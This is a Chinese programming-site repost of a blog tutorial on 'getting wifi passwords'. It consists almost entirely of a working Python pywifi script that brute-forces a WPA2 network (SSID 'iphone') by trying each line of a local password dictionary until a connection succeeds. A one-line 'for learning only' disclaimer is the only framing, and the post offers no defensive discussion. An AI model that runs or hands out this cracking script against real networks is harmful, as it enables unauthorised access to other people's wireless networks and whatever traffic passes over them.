码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 获取wifi密码信息(仅供学习使用,勿作他用)


    上一篇文章我们讲解学习了密码字典生成,下面我们来看一下如何获取wifi信息,具体代码如下:

    ```
    # _*_ coding : UTF-8 _*_# 开发人员:快乐的洋仔
    # 开发时间:  2020/4/17 21:01
    # 文件名称: pojieWifi.PY
    # 开发工具: PyCharm
    # coding:utf-8
    import pywifi
    from pywifi import const
    import time
    import datetime


    def wifiConnect(pwd):
        wifi = pywifi.PyWiFi()
        ifaces = wifi.interfaces()[0]
        ifaces.disconnect()
        wifistatus = ifaces.status()
        if wifistatus == const.IFACE_DISCONNECTED:
            profile = pywifi.Profile()
            # 你想要破解wifi名称
            profile.ssid = "iphone"
            profile.auth = const.AUTH_ALG_OPEN
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP
            profile.key = pwd
            ifaces.remove_all_network_profiles()
            tep_profile = ifaces.add_network_profile(profile)
            ifaces.connect(tep_profile)
            time.sleep(2)
            if ifaces.status() == const.IFACE_CONNECTED:
                return True
            else:
                return False
        else:
            print("已有wifi连接")

        # 读取密码本
    def readPwd():

        print("哈哈,我们开始破解了哦:")
        # 密码本路径
        path = "E:\pwd.txt"
        # 打开文件
        file = open(path, "r")
        while True:
            try:
                # 一行一行读取
                pwd = file.readline()
                success = wifiConnect(pwd)

                if success:
                    print("密码被你完美破解: ", pwd)
                    break
                else:
                    # 跳出当前循环,进行下一次循环
                    print("密码破解中....密码校对信息为: ", pwd)
            except:
                continue
    readPwd()
    ```

    更多编程内容,请扫码关注《coder练习生》,如果觉得有用,也可赠送作者一杯咖啡

     

  • 相关阅读:
    JavaScript逻辑题:输出1000之内的所有完数。所谓完数指的是:如果一个数恰好等于它的所有因子之和,这个数就称为完数。
    SwiftUI CoreData 教程之如何加速搜索速度
    【单片机】19-TFT彩屏
    cms之帝国栏目管理-PHP7环境下栏目生成拼音乱码解决方法
    吉时利2602A数字源表-安泰测试
    基于php旅游网站管理系统获取(php毕业设计)
    如何游戏出海代运营、游戏出海代投
    Mysql进阶优化篇01——四万字详解数据库性能分析工具(深入、全面、详细,收藏备用)
    win10 xbox录屏功能不能录声音怎么办
    3ds Max渲染用专业显卡还是游戏显卡?
  • 原文地址:https://blog.csdn.net/ybb_ymm/article/details/126067378
  • 最新文章
  • 沪漂五周年了:我越来越迷茫了
    Agentic Skill Routing 实战:别再把所有 Skill 塞进 AI Agent 上下文
    MySQL-Seconds_behind_master的精度误差
    [MAF预定义ChatClient中间件-03]CachingChatClient——利用缓存省钱省时间
    AI的至暗历史:从万众期待到被政府撤资,AI的两次死亡徘徊
    Agent OS :五种驯服不确定性的范式
    PortSwigger SQL注入LAB11
    数据库即时编译JIT
    [Begin]AI Learn Data Day 0
    深度学习进阶(二十七)现代 LLM 的核心架构设计其二:SwiGLU
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
小工具 小游戏
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1

京公网安备 11010502049817号